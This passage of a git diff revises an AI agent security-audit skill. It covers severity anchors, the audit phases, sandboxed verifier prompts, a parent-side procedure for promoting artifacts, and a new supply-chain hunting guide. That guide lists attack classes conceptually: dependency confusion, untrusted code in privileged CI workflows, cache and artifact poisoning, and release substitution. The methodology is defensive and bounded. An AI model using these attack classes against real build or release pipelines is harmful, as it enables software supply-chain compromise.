test, small parser fixture, dummy-tenant integration test, locally rendered configuration, or bounded isolated-loopback client. Stop at a wrong return value, unauthorized dummy record, sanitizer finding, policy difference, or other minimum effect. Do not extend the local check beyond the minimum boundary result or produce persistence, post-fault, or concealment material. -Do NOT hardcode a specific comparable. A CMS gets compared to other CMSes. An API gateway gets compared to other API gateways. A novel application may have no meaningful comparable. +### Respect source visibility -### Defense-in-depth gaps are not vulnerabilities +Deployment controls, proxy behavior, provider settings, browser headers, identity policy, broker ACLs, packaging, and topology are real controls. If they are required and absent from the repository, do not assume either presence or absence. Use `needs_validation` with the exact missing fact and a safe owner-observed or local plan. -If Layer A prevents the attack, the absence of Layer B is a hardening note, not a finding. Report it separately if you want, but do not inflate its severity. +### Separate priority from certainty -### Severity requires impact +Only `confirmed` records receive severity. Likelihood and impact must reflect the demonstrated conditions and result; overall severity cannot exceed demonstrated impact. `needs_validation` means a specific source-grounded boundary hypothesis is blocked, not a low-confidence confirmed vulnerability, and it has no severity. -Severity is the combination of **likelihood** (how easy to exploit, what access is needed) and **impact** (what damage is achieved). Use both axes: +Calibrate overall severity with these anchors: -- **CRITICAL**: Unauthenticated RCE, full database dump, admin account takeover without credentials -- **HIGH**: Authenticated RCE, SQL injection with data exfiltration, stored XSS that fires for all users, auth bypass. Also: any finding where the RBAC/permission model is *completely* defeated for an action — e.g., a user can perform an action that the system explicitly gates behind a higher role, and the action has real consequences (publishing content, deleting resources, modifying other users' data). -- **MEDIUM**: Targeted XSS requiring specific conditions, CSRF with meaningful state change, information disclosure of secrets/credentials. Also: business logic bypasses with real but limited consequences — e.g., the action is possible but requires authentication, or the impact is confined to the attacker's own data, or the bypass requires uncommon conditions. -- **LOW**: Information disclosure of non-secret data, DoS requiring sustained effort -- **INFORMATIONAL**: A confirmed but minimal-impact observation with no standalone exploit — useful mainly as a building block for another finding. Pure defense-in-depth gaps belong in hardening notes, not here. +- **critical** — an unauthenticated actor gains code execution, full data-store access, or takeover of arbitrary accounts. +- **high** — an actor fully defeats an explicit security control with real consequences: authentication bypass, cross-tenant read or write, stored script execution affecting other users, authenticated code execution, or an unauthenticated remote stop of a shared service. +- **medium** — a real boundary violation with limited blast radius, uncommon preconditions, or consequences confined to a narrow resource set. +- **low** — disclosure of non-secret internals, or an effect requiring sustained effort for minimal gain. +- **informational** — a confirmed but minimal-impact observation, useful mainly as a prerequisite inside a larger finding. -The key distinction between HIGH and MEDIUM for business logic findings: **does the finding defeat an explicit security boundary?** Defeating one — acting past a role the system explicitly enforces — is HIGH; a data inconsistency, a finding that requires privileged access to exploit, or one with limited blast radius is MEDIUM. +The high/medium discriminator: does the demonstrated result fully defeat an explicit control for an action with real consequences, or only weaken it? If you cannot state the concrete damage, the severity is lower than it feels. -If you cannot describe the concrete damage an attacker achieves, the severity is probably lower than you think. +### Recommend the smallest effective source fix -These principles are enforced operationally by the **validation rules in [HUNTING.md](HUNTING.md)** — the canonical bar every hunter applies before reporting a finding, and that Phase 3 re-applies adversarially. The domain companion files add domain-specific checks on top of that bar; they do not replace it. +For each confirmed finding, identify the invariant the code must enforce and the narrowest source change that enforces it at the last trusted decision point. Prefer specific repository-relative changes and regression tests over generic hardening advice. The audit describes fixes; it does not modify target source. ## Workflow overview Follow all six phases in order: -1. **Recon** — Run Phase 1 from [RECONNAISSANCE.md](RECONNAISSANCE.md) to map the application's architecture, trust boundaries, and input surfaces. -2. **Hunt** — Use [HUNTING.md](HUNTING.md) for Phase 2 orchestration, methodology, and validation rules; select scopes from [ATTACK-CLASSES.md](ATTACK-CLASSES.md), which routes native, AI/LLM, HTTP-protocol/auth, and client-side targets to specialized companion files ([MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md), [AI-AND-LLM.md](AI-AND-LLM.md), [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md), [CLIENT-SIDE.md](CLIENT-SIDE.md)). -3. **Validate** — Use Phase 3 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to consolidate duplicates and independently try to disprove every finding. -4. **Report** — Use Phase 4 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to write `REPORT.md` and `FINDINGS-DETAIL.md`. -5. **Structured output** — Use Phase 5 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md), `report-schema.json`, and `validate-findings.cjs` to write and validate `findings.json`. -6. **Independent verification** — Use Phase 6 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to verify every factual claim and reconcile all outputs. - -## Anti-Patterns to Avoid - -These are the mistakes that make security audits useless: - -1. **Listing everything that deviates from OWASP as a finding.** OWASP is a checklist, not a bug list. Every real application makes tradeoffs. -2. **Rating defense-in-depth gaps as HIGH/CRITICAL.** "Missing validateIdentifier where the query builder already quotes identifiers" is not HIGH severity. -3. **Ignoring the deployment model.** Rate limiting at the CDN layer is a valid architecture. Not every app needs application-level rate limiting. -4. **Treating designed behavior as a bug.** Understand the trust model before auditing. If the design says admins are fully trusted, admin-does-admin-things is not a finding. -5. **Padding the report with LOW findings to look thorough.** Ten LOWs don't make a useful report. Three MEDIUMs do. -6. **"Potential" findings without proof.** Either you can exploit it or you can't. If you need the word "potentially" or "theoretically", you haven't done enough research. -7. **Ignoring what the codebase does well.** If auth is solid, say so. It builds trust in the findings you DO report and helps the team prioritize. -8. **Constructing exploits from incorrect parser/runtime assumptions.** The most convincing false positives come from reasoning "the parser/runtime will interpret this as..." without verifying. If your exploit depends on parser or runtime behavior, cite the spec or test it. Don't assume. -9. **Skipping business logic and creative attacks.** The standard vulnerability classes (SQLi, XSS, SSRF) are what every scanner checks. The value of a manual audit is finding the things scanners can't: logic errors, state machine violations, chained attacks, implicit trust assumptions. -10. **Giving up too easily.** "The codebase uses parameterized queries so there's no SQL injection" is a lazy conclusion. Check EVERY use of sql.raw(). Check dynamic identifiers. Check search/FTS. Check if there's a code path that bypasses the query builder. Push. +1. **Reconnaissance** — map the source, trust boundaries, local build paths, companion selections, prior evidence, and initial deterministic coverage ledger with [RECONNAISSANCE.md](RECONNAISSANCE.md). +2. **Coverage-led hunting waves** — assign isolated hunters from the ledger and collect structured candidate results with [HUNTING.md](HUNTING.md), [ATTACK-CLASSES.md](ATTACK-CLASSES.md), and the selected domain companions. +3. **Candidate validation** — consolidate fingerprints and give every candidate to a fresh source verifier as defined in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md). +4. **Structured output** — write all final `confirmed`, `needs_validation`, and `rejected` records to `findings.json`; validate it with `report-schema.json` and `validate-findings.cjs`, and validate the coverage claim with `validate-coverage-ledger.cjs`. +5. **Independent record verification** — use fresh agents to verify final source claims and reconcile corrections or state changes. +6. **Target-neutral report** — derive `REPORT.md`, `FINDINGS-DETAIL.md`, and `NEEDS-VALIDATION.md` from the final records, with no live-probe instructions. + +Do not end the run before one of exactly two terminal states: (a) all Phase 6 artifacts are written and both validators pass, or (b) `run_status: "incomplete"` is recorded with its exact reason and the gap is disclosed in the report. Never stop mid-phase. + +## Anti-patterns + +1. Checklist deviations presented as vulnerabilities. +2. Defense-in-depth advice with no reachable boundary violation. +3. Live or shared-environment testing where bounded local evidence is insufficient. +4. Guessing provider, proxy, browser, identity, or deployment behavior not present in source. +5. Treating intended same-principal authority or self-impact as a cross-boundary result. +6. Reporting a parser or runtime effect stronger than the observed effect. +7. Emitting prose-only hunter results that cannot be deduplicated or verified. +8. Re-reporting carried same-source prior confirmed records or using them as exemplars that anchor the hunt. +9. Assigning severity to `needs_validation` records. +10. Writing the report before independent verification or letting prose and JSON disagree. diff --git a/.agents/skills/security-audit/SUPPLY-CHAIN-AND-RELEASE.md b/.agents/skills/security-audit/SUPPLY-CHAIN-AND-RELEASE.md new file mode 100644 index 0000000..bf96aed --- /dev/null +++ b/.agents/skills/security-audit/SUPPLY-CHAIN-AND-RELEASE.md @@ -0,0 +1,73 @@ +# Supply Chain and Release Hunting + +#### When to use this file + +Reach for this file when the target resolves dependencies, builds from untrusted contributions, runs CI, creates release artifacts, signs or promotes builds, loads plugins, or updates deployed software. This domain covers trust handoffs from source and dependency to the artifact a user runs. Use `MEMORY-SAFETY-AND-BINARY.md` for flaws inside a local binary loader and `CLOUD-AND-DEPLOYMENT.md` for runtime workload authority. + +Split large targets into dependency resolution, CI isolation, artifact provenance, release authorization, and updater/plugin trust. + +## Core discipline (include in every agent prompt for this domain) + +``` +- A mutable or known-vulnerable dependency is not a finding by itself. Show who can influence resolution, which build consumes it, and what execution or release boundary follows. +- Follow integrity across every handoff: source identity, resolved inputs, build worker, artifact identity, test result, signature/attestation, promotion, and update consumer. +- CI configuration is authorization code. Establish which event triggered a workflow, whose code runs, which secrets and tokens exist, and what it may publish or mutate. +- A checksum fetched from the same untrusted location as the artifact does not establish independent integrity. Identify the trusted root and failure behavior. +- Use `confirmed` for in-repo control-flow failures with bounded local validation. Use `needs_validation` for branch protection, hosted-runner, registry, signing-service, or production promotion facts that are not observable. +``` + +## Dependency and build-input attack classes (subagent_type: `general`) + +**Dependency source and namespace confusion** +Resolver configuration can select an unintended public/private namespace, fallback registry, mirror, repository, or source URL. Review package names, source priority, lockfile and checksum use, alternate build files, platform-specific resolution, and first-install versus update behavior. + +**Mutable and unbound build inputs** +Builds consume branches, tags, unverified submodules, downloaded tools, generated assets, remote includes, floating CI actions, or container tags whose content can change without source review. Require a lower-trust writer and a path into trusted build output; reproducibility by itself does not prove authenticity. + +**Generated-source and codegen provenance gaps** +Schemas, vendored archives, generated clients, localization, documentation examples, or binary blobs produce executable or shipped content without the same review and integrity gate as source. Compare local regeneration with committed output and verify who controls input and generator. + +**Build-context inclusion** +Secrets, local configuration, repository metadata, test fixtures, or developer artifacts enter a package or image because the build context and ignore rules exceed intended release inputs. Confirm that the resulting artifact exposes a real credential, private data, or privileged configuration. + +## CI and automation attack classes (subagent_type: `general`) + +**Untrusted code in a privileged workflow** +A pull request, issue comment, fork, dependency update, or external event runs contributor-controlled code with protected secrets, write tokens, deployment authority, or a trusted runner. Compare trigger type, checkout ref, approval gate, environment protection, and permission narrowing. Do not assume repository-host defaults that are not in source. + +**Workflow command and expression confusion** +Attacker-controlled branch names, commit messages, issue fields, artifact names, matrix values, or generated output enter shell commands, template expressions, paths, or privileged workflow inputs without canonical validation. + +**Cache, artifact, and workspace trust mixing** +A lower-trust job can populate a cache, artifact, shared workspace, or output that a higher-trust job later restores and executes or releases. Review cache keys and namespaces, artifact producer identity, digest binding, retention, and whether promotion re-resolves by mutable name. + +**Automation identity overreach** +CI jobs receive permissions beyond the operation, repository, environment, or duration needed, and untrusted job inputs can select the affected resource. Missing least privilege alone is hardening; require a reachable privileged action. + +## Release and update attack classes (subagent_type: `general`) + +**Build-to-promotion substitution** +Tests, review, signature, and publication refer to mutable tags, filenames, channels, or artifact IDs rather than the same immutable digest. Check every copy, repack, architecture merge, and provenance step between build and release. + +**Release authorization and signing-policy gaps** +A release or signature is accepted from the wrong workflow, repository, branch, environment, key role, or threshold. Review identity claims inside attestations and verify the consumer validates them, not just a valid signature. Rotation, expiry, and revocation must fail closed where policy requires. + +**Update metadata and rollback confusion** +An updater authenticates payload bytes but not version, product, platform, channel, target path, expiry, or rollback state, or it accepts metadata and payload from different authorized transactions. Verify atomic installation and recovery behavior. A signature API call without policy binding is incomplete. + +**Plugin and extension trust expansion** +An extension package gains host authority beyond its declared scope, a lower-trust publisher can replace another publisher's identity, or install/update hooks run before authenticity and capability checks. Intended installation of arbitrary same-user plugins is not a privilege boundary. + +## Universal moves (apply across the above) + +- Walk backward from a released digest or installed update to every source, generated input, credential, worker, cache, test result, and authorization decision. +- Compare untrusted and protected workflow events side by side. Mark each persisted channel crossing between them and require an immutable identity plus producer trust. +- Review revoked key, failed download, missing attestation, partial platform release, rollback, and registry outage paths. The failure policy is part of release integrity. + +## Validation rules (apply before reporting ANY finding here) + +1. Name the lower-trust actor, controllable source/cache/artifact/metadata, consuming trusted job or updater, and resulting unauthorized publication, code inclusion, secret disclosure, or privileged execution. +2. Prove artifact identity across the broken handoff. A different mutable name or unbound digest must reach a real consumer. +3. Verify built-in package-manager, repository-host, registry, and signing defaults for the pinned version. Unknown hosted controls require `needs_validation`. +4. Keep local validation bounded: use a harmless fixture repository, dummy credential marker, local registry/config, and non-production artifact namespace. Do not publish or alter a real release. +5. Return `confirmed` only with a complete source-visible handoff and meaningful result. Return `needs_validation` with the precise branch, runner, registry, signing, or deployment fact an owner must observe. diff --git a/.agents/skills/security-audit/VALIDATION-AND-REPORTING.md b/.agents/skills/security-audit/VALIDATION-AND-REPORTING.md index 4e3dc0a..5e200d7 100644 --- a/.agents/skills/security-audit/VALIDATION-AND-REPORTING.md +++ b/.agents/skills/security-audit/VALIDATION-AND-REPORTING.md @@ -1,109 +1,186 @@ -# Validation, Reporting, and Verification +# Validation, Structured Output, Verification, and Reporting + +### Phase 3: Independently validate every candidate + +After the clean coverage-critic pass or an explicitly recorded early stop, consolidate Phase 2 candidates and carried same-source prior confirmations by stable fingerprint and root cause. Give every unique proposed `confirmed` and `needs_validation` candidate to a fresh `general` verifier that did not hunt it. A carried prior confirmation follows the same current verification path even though hunters exclude that unchanged root cause. A verifier may read hunter or prior artifacts but must re-read every cited current source location and independently run any decisive check it can reproduce safely. + +Assign each verifier a canonical lowercase unique ID and `/agents//scratch/` plus parent-owned `artifacts/`. The verifier writes only to `scratch/` and never writes retained artifacts. It receives only the candidate, its linked coverage-unit checks and artifact paths, architecture facts needed to interpret the path, exact relevant companion validation blocks, the promotion procedure block below, the source/local execution boundary, the `confirmed`, `needs_validation`, and `rejected` branches of `report-schema.json` copied verbatim, and prior records with the same fingerprint. It must not receive another verifier's conclusion. + +#### Candidate-verifier prompt + +```text +You did not write this candidate. Try to refute it from repository source and bounded +local evidence. Do not contact deployed endpoints or external/shared services. Run +target-controlled code only inside the approved OS-enforced sandbox: no external +network, empty allowlisted environment, read-only target and tools, scratch-only +writes, and explicit low resource and wall-clock limits. If any control is unavailable, +do not execute; retain the exact missing capability as a needs_validation blocker. +Treat every scratch entry as target-controlled after execution. After the sandbox and +all its processes terminate, only trusted parent-side code may promote a predeclared +scratch-relative file, following the promotion procedure block included verbatim in +this prompt. You and target code never write retained artifacts. If promotion is +unavailable or fails, do not use that file as evidence. + +1. Verify every trace and evidence file, positive line number, scope, and description. + Confirm the first entry is a real lower-trust entrypoint and the last is the + claimed sink or boundary effect. +2. Reconstruct the strongest source-visible validation, identity, authorization, + normalization, lifecycle, framework, and containment controls on the path. + Where the architecture summary names a comparable baseline, note whether it + shares the pattern — as calibration, never as grounds to dismiss. +3. For a proposed confirmed candidate, independently reproduce the minimum observed + result when possible. Verify inputs, interface shape, conditions, and affected + dummy principal/resource. Do not infer a stronger result or continue after it. +4. Verify that likelihood, impact, confidence, and the proposed source fix match only + what the evidence establishes. +5. For a proposed needs_validation candidate, decide whether the blocker is genuinely + outside source/local observation. If source refutes the trace, reject it. If the + missing fact remains decisive, keep needs_validation and make the local and + owner-observed plans exact and non-destructive. +6. Preserve the fingerprint for the same source-derived root cause across every state. + +Return exactly one JSON object and no surrounding prose: +{"decision": "confirmed|needs_validation|rejected", "record": { ... }} +where record exactly matches the decision's verdict branch of the schema included +in this prompt. A corrected record replaces the hunter's wording. +``` -### Phase 3: Validate findings +Copy this promotion procedure verbatim into every candidate-verifier prompt: + +```text +Artifact promotion procedure (trusted parent-side code only): +Reference only for you: the parent performs these steps; you never perform them. + +Before execution, the parent opens and retains trusted, non-inheritable directory +descriptors for the agent's scratch/ and artifacts/ roots, and records an allowlist +of expected scratch-relative artifact files plus explicit per-file and cumulative +byte limits. Never pass those descriptors to the agent or sandbox. After the sandbox +and all its processes terminate, trusted parent-side code promotes each allowlisted +file separately: + +1. Validate the declared relative path: reject absolute, empty, `.`, `..`, or + symlinked components. +2. Walk each parent component from the retained scratch-root descriptor with + no-follow directory-relative operations; never reopen by path. +3. Open the leaf no-follow and nonblocking. +4. Verify with `fstat` that it is a regular file with link count exactly one and + within the recorded per-file and cumulative byte limits. +5. Enforce those limits again while reading from that descriptor. +6. Copy exactly the verified size, repeat `fstat`, and reject a changed identity, + type, link count, or size. +7. For the destination, walk every parent component from the retained + artifacts-root descriptor with no-follow directory-relative operations; require + each existing component to be a real directory, and create any missing directory + exclusively before reopening and verifying it no-follow. +8. Create the leaf exclusively without following links, verify that the opened + destination is a regular file with link count exactly one, and copy from the + verified source descriptor without reopening either path. +9. Use equivalent race-safe APIs on non-POSIX systems. +10. Never recursively copy or glob scratch, extract an archive into artifacts, or + open or promote a symlink, FIFO, socket, device, directory, hard-linked file, + changing file, or file that exceeds its bound. +11. If any check is unavailable, cannot be enforced, or fails, discard the scratch + entry; if it is decisive evidence, retain `needs_validation` with the exact + promotion blocker. +``` -Collect all findings from Phase 2 agents and **consolidate duplicates first**. Phase 2 deliberately overlaps agent scopes, so the same issue is frequently reported by more than one hunter — merge findings that share a root cause before validating, or you'll validate and report the same bug multiple times. For each remaining finding, launch a **separate `research` validation agent** that tries to disprove it. The hunting agents are biased toward finding things; the validation agents are biased toward killing false positives. This adversarial step is critical. +A verifier can promote `needs_validation` to `confirmed` only after independently establishing the complete path and bounded observed result. Demote proposed confirmation to `needs_validation` when a specific deployment or runtime fact remains unknown. Use `rejected` when source, local behavior, a visible control, missing meaningful impact, or an impossible prerequisite refutes the claim. `needs_validation` is never a parking place for a speculative idea. -For findings from the same attack surface, batch them into one validation agent. Launch validation agents in parallel where they cover independent areas. +The parent checks that each verifier returned the same fingerprint unless it identified a genuinely different root cause. Merge corrections, record the decision in every linked coverage unit, and ensure there is one final record per fingerprint. Discard a malformed or prose-wrapped verifier result without repairing it; re-run that candidate with a fresh verifier when the budget permits, otherwise it remains an unvalidated ledger candidate under the incomplete-run rule. -Each validation agent prompt should: -1. State the specific finding being validated (title, claimed attack, claimed impact) -2. Ask the agent to read the exact code paths and verify each step of the trace -3. Ask it to apply these tests (the adversarial, Phase 3 form of the canonical validation rules in [HUNTING.md](HUNTING.md) — here a separate agent tries to make each one fail): +When verifier evidence updates a ledger check, set that check's `agent_id` to the verifier's canonical ID and list its nonempty repository-relative `reviewed_paths`. Keep the unit-level `reviewed_paths` equal to the union across checks. Use `method: "source"` with `artifact: null` for source-only review. Use `method: "local"` only with a file successfully promoted by trusted parent-side code below `agents//artifacts/`. The unit retains its original assignment owner, so independently owned hunter and verifier checks can coexist. For a carried prior record's seeded `planned` unit there is no prior owner: the verifier that re-checks it becomes the unit's assignment owner, and its re-check is the unit's first check, moving the unit to `candidate` with the carried fingerprint. -**Validation tests:** -1. **Exploitation test**: Read the actual code at each step of the trace. Does the data flow work as claimed? Can you construct the exact input (HTTP request, CLI invocation, API call, crafted file, etc.) that triggers this? -2. **Impact test**: What does the attacker actually get? If the answer is "they learn field names" or "they cause an error", that's not meaningful impact — not a finding on its own (at most a building block for a chain). -3. **Baseline test**: Does the identified comparable have the same pattern? If yes, has it been exploited? If never exploited in years of production use, understand why before reporting. -4. **Mitigation test**: Is there another layer that prevents exploitation? Check middleware, database constraints, framework defaults. -5. **Parser/runtime behavior test**: If the exploit depends on how a parser or runtime handles specific input, verify against the actual spec or implementation — do not reason from intuition. +If a strict total-agent budget cannot cover every candidate, set the run status to incomplete and follow the deterministic budget rule in `SKILL.md`. An unvalidated candidate remains only in the ledger. It does not enter `findings.json` under any verdict. -Tell each validation agent: +### Phase 4: Write and validate `findings.json` -``` -Your job is to DISPROVE this finding. Read the actual source code at every step. If you cannot disprove it, confirm it with the exact code that makes it exploitable. Return one of: -- "CONFIRMED: [explanation of why it's real, with code evidence]" -- "REJECTED: [explanation of what the finding got wrong, with code evidence]" -``` +The parent writes all independently decided records to `/findings.json`, sorted by fingerprint. Include: -**Kill false positives aggressively, but don't kill real findings.** A short report with 3 real findings is worth more than a long report with 30 theoretical ones. An honest "nothing found" is valid — but push hard before reaching that conclusion. +- `confirmed`: source-grounded vulnerabilities with complete local execution evidence, conditions, specific remediation, likelihood/impact/overall severity, and confidence. +- `needs_validation`: source-grounded candidates with an exact unresolved blocker and at least one applicable local or owner-observed deployment plan. +- `rejected`: source-grounded candidates disproved during validation, retained so future runs do not repeat the unsupported claim without changed evidence. -### Phase 4: Report +Read `report-schema.json` immediately before writing. It uses `additionalProperties: false`; do not carry hunter wrapper fields into a record. Keep these verdict contracts distinct: -Write the report to the output directory established in Setup. +- A `confirmed` record uses `root_cause`, `intended_behavior`, `conditions`, `execution`, `remediation`, `severity`, and `confidence`. It must not use `claimed_root_cause`, `blockers`, `validation_plan`, or `reason`. `execution` is target-neutral and uses the target's native interface: API/HTTP input, CLI call, library call, message, file fixture, browser action, rendered policy, or local harness as applicable. `observed_result` is nonempty and factual. +- A `needs_validation` record uses `claimed_root_cause`, `trace`, `evidence`, `blockers`, and at least one nonempty `validation_plan.local` or `validation_plan.deployment` field. Include both only when both contexts can resolve distinct facts. It must not use severity, execution, remediation, reason, or confirmed root cause. +- A `rejected` record uses `claimed_root_cause`, `trace`, `evidence`, and `reason`. It must not use severity, execution, remediation, blockers, validation plan, or confirmed root cause. -**Output files:** +Every record has a stable fingerprint, title, description, and repository-relative source paths. A multi-step trace begins with `entrypoint`, ends with `sink`, and uses `propagation` only between them. One-entry traces use `entrypoint` or `sink`. Overall severity cannot exceed demonstrated impact. -1. `REPORT.md` -- Main report with: - - One-paragraph executive summary (honest assessment of security posture) - - Identified baseline and how this application compares - - Findings table (severity, title, one-line description) - - Each finding with: file path, concrete attack scenario, impact, recommended fix - - Hardening notes section (defense-in-depth suggestions, NOT findings) - - Positive patterns section (what the codebase does well -- this calibrates trust in the audit) +Run: -2. `FINDINGS-DETAIL.md` -- For each finding rated MEDIUM or above: - - Complete data flow from input to sink with file:line references - - Exact HTTP request(s) to trigger - - What the attacker gets - - How the baseline comparable handles the same scenario +```sh +node /validate-findings.cjs /findings.json +node /validate-coverage-ledger.cjs /coverage-ledger.json +``` -Keep it short. If the report is longer than the codebase deserves, you're padding. +Fix every structural and semantic error before continuing. The findings validator rejects input beyond 5 MiB, 1,000 top-level findings, or 64 nesting levels, and caps reported error output at 100 messages. Validator success proves format and ledger consistency only. -### Phase 5: Structured output and schema check +### Phase 5: Verify the final records with fresh eyes -For every finding that survived Phase 3 validation, produce a structured JSON object conforming to the schema defined in `report-schema.json` (in the same directory as this skill file — read it via the Read tool before writing output). Write the result to `/findings.json`. +Launch one fresh `research` verifier per final `confirmed` and `needs_validation` record, in parallel. This verifier checks the structured record, not the hunter write-up, and remains inside source/local boundaries. -The schema supports two verdict types via `oneOf`: -- **`confirmed`** — a validated vulnerability with full trace, execution, and remediation -- **`rejected`** — a finding that was investigated and determined to be factually incorrect +In a `quick` run, Phase 3 and Phase 5 merge: the Phase 3 verifier also performs these record checks and returns the final schema-shaped record, so each candidate gets one fresh independent reviewer instead of two. Every other profile keeps the two passes separate. Never skip independent review of a `confirmed` record in any profile. -**Before writing `findings.json`:** +For `confirmed`, require it to check: -1. Read `report-schema.json` from this skill's directory. Follow it exactly — `additionalProperties: false` is enforced, so extra fields will make the output invalid. -2. For each finding, populate every required field. If you cannot fill `trace` with real file paths and line numbers verified against the source, the finding is not sufficiently verified — go back and verify it or reject it. Mind the required fields that aren't self-evident: `intended_behavior` (what the code is *supposed* to do, so the defect is legible), `confidence` (`low`/`medium`/`high`, with a reason), and the `severity` object (`likelihood`/`impact`/`overall_severity`). All `severity` scores use the schema's **lowercase** enum — `informational`/`low`/`medium`/`high`/`critical`; the UPPERCASE tiers in SKILL.md and REPORT.md are prose labels, not valid JSON values. -3. Run `node /validate-findings.cjs /findings.json` to validate. It checks required fields, enum values, structural constraints, and `additionalProperties`. This is a structural check only — it confirms the JSON conforms to the schema, not that the findings are correct. Factual verification is Phase 6's job. Fix any failures before proceeding. +1. Every repository-relative trace/evidence path, line, scope, and described operation. +2. Real entry interface and exact local input shape. +3. Every condition, parser/policy step, source-visible preventing layer, and observed local result. +4. Affected principal/resource and demonstrated impact. +5. Severity separation: realistic likelihood, demonstrated impact, overall no greater than impact. +6. Remediation strategy and any `code_changes`, including whether the fix enforces the invariant without merely moving trust. -### Phase 6: Independent verification +For `needs_validation`, require it to check: -The structured output from Phase 5 forces self-validation, but the same agent that wrote the finding also wrote the JSON — it won't catch its own blind spots. This phase uses a fresh agent to independently verify every claim in `findings.json`. +1. The source path is real and supports only the `claimed_root_cause` stated. +2. Every listed blocker is decisive and not already answerable locally. +3. The candidate names a boundary and a possible concrete result rather than a generic concern. +4. At least one validation-plan field is present and exact. `local` uses a bounded fixture; `deployment` asks an owner to observe a configuration, identity, route, policy, or runtime fact. Do not invent a plan for an inapplicable context, and never send audit traffic to a deployment. +5. The fingerprint matches prior/current records for the same root cause. -Launch **one `research` agent per confirmed finding** via the Task tool, all in parallel. Each agent gets exactly one finding from `findings.json` and verifies it independently. Give each agent the JSON object for its finding and this prompt: +Each verifier returns exactly one JSON object: `{"decision":"verified","fingerprint":"..."}` or `{"decision":"replace","reason":"...","record":{...}}`, with no surrounding prose. A replacement record must match its `confirmed`, `needs_validation`, or `rejected` schema branch. Treat a malformed or prose-wrapped Phase 5 result the same way as in Phase 3: discard it without repairing it and re-run with a fresh verifier when the budget permits. -``` -You are an independent verifier. You did NOT write this finding. Your job is to read the actual source code and verify that every factual claim is correct. +Do not apply a Phase 5 replacement as final when it promotes a record to a stronger verdict, including any promotion to `confirmed`, or materially changes the root cause, trace, execution input or observed result, demonstrated impact, or severity. Give that complete replacement to a new independent verifier that did not hunt, perform Phase 3 validation, or propose the Phase 5 replacement. The new verifier rechecks the current source and independently reproduces any decisive local result under the execution boundary, then returns `verified` or another replacement. Apply a material replacement only after this fresh verification. If another material replacement results, repeat with a fresh verifier. If budget or independence is unavailable, remove the disputed record from `findings.json`, keep its ledger unit as an unresolved candidate, and set `run_status: "incomplete"` with an exact `incomplete_reason`. Non-material wording or repository-line corrections may be applied directly when they do not change meaning or evidence. -1. Read the file and line number cited in EVERY trace step. Verify: - - The file exists at that path - - The line number matches the described code - - The scope (function name) is correct - - The description accurately reflects what the code does +After every applied replacement, rerun both validators and update linked ledger decisions. If a final verifier identifies a separate root cause, assign a new fingerprint and send it through independent candidate validation before inclusion. Set `run_status: "complete"` only when every ledger candidate has an independent final disposition and every retained record passes Phase 5. -2. Verify the root_cause statement by reading the cited file and confirming the described defect exists. +Do not verify only `confirmed` records. A misleading `needs_validation` handoff wastes owner time and can preserve a false premise. -3. Verify the execution payloads would actually work, in terms that fit the target: - - Does the entry point exist as claimed — the endpoint/URL, CLI command, exported function, syscall/ioctl, message handler, or tool the attacker invokes? - - Does the invocation match — HTTP method, argument shape, call signature, or message format? - - Would the input survive validation and parsing on the real code path? - - Would the relevant authentication, authorization, or ownership check pass as described? +### Phase 6: Produce target-neutral reports from final records -4. Verify conditions are complete — are there prerequisites the finding missed? +Only after Phase 5 passes for every record retained in `findings.json`, derive prose from the final records, the ledger, and the hunter `hardening` notes retained in ledger bookkeeping. An incomplete run may report independently verified records, but it must identify each unresolved ledger candidate and must not present it as a finding. The prose files never change a verdict, severity, blocker, or demonstrated impact. -5. Check the remediation code_changes — would the fix actually prevent the attack without breaking normal functionality? +#### `REPORT.md` -6. Verify `intended_behavior` accurately states what the code should do, and that `confidence` matches the strength of the evidence — don't leave `high` on a claim you couldn't fully trace. +Write: -Return one of: -- "VERIFIED" — all claims checked out against the source -- "CORRECTED: [field]: [what was wrong] → [what it should be]" — factual error in a specific field -- "REJECTED: [reason]" — the finding is fundamentally wrong -``` +1. Run profile, scope, budget (if set) with agents spent versus planned, source ref, sandboxed source-and-local-only execution statement, prior-run use, and explicit deferred and out-of-scope coverage. Name carried same-source confirmations and changed-source revalidations. A `quick`, scoped, budget-limited, or incomplete run states plainly that it is a partial pass. If candidate validation exhausted a strict budget, state that the run is incomplete and list every unvalidated fingerprint and linked unit; do not describe those candidates as findings. If the budget prevented a mandatory critic, state which critic did not run and make no clean-coverage claim. +2. One short security posture summary. +3. A confirmed-findings table: severity, title, affected boundary, and one-line observed result. +4. Each confirmed finding: repository source location, lower-trust principal, target-native bounded reproduction, conditions, actual result, impact, priority rationale, and smallest source fix. +5. A separate `NEEDS VALIDATION` table. Give each lead's title, repository trace, exact blocker, bounded local next step, and safe owner-observed deployment check. Do not assign severity or call it a confirmed vulnerability. +6. Separate hardening notes and positive source patterns. +7. Coverage summary from the ledger: covered, candidate, blocked, and deferred counts, plus important exclusions and the final critic result. + +Do not describe rejected records as findings. Mention their fingerprints only when they explain a prior disagreement or coverage decision. + +#### `FINDINGS-DETAIL.md` + +For each confirmed `medium`, `high`, or `critical` record, copy the complete source path and target-neutral local reproduction: + +- ordered repository-relative trace and evidence; +- dummy attacker/principal and affected dummy resource; +- native input, invocation, or fixture and exact bounded instructions; +- observed output and the security invariant it proves; +- conditions and containment; +- source-level remediation and regression case. + +#### `NEEDS-VALIDATION.md` -Apply the agent's corrections: -- **VERIFIED** findings: no changes needed -- **CORRECTED** findings: update the specific fields in `findings.json`, re-run the schema validation script -- **REJECTED** findings: change their `verdict` to `"rejected"` with the agent's reason, or remove them entirely +For every unresolved record, copy the source trace, verified evidence, exact blocker, affected boundary, and each applicable bounded local or owner-observed resolution plan. Keep these as prioritized leads without severity. Do not turn them into live test guidance or assume the missing deployment fact. -After applying corrections, reconcile the prose deliverables: update `REPORT.md` and `FINDINGS-DETAIL.md` so they match the final `findings.json`. Remove or amend any finding the verification gate rejected or corrected — the human-readable report and the machine-readable output must not disagree. +HTTP is one possible native interface, not the default. A library finding may use a function call, a parser a fixture, a CLI a command, a desktop app an IPC or file action, and infrastructure a locally rendered policy. Do not require an endpoint, external account, or live environment that the target does not have. -This is the 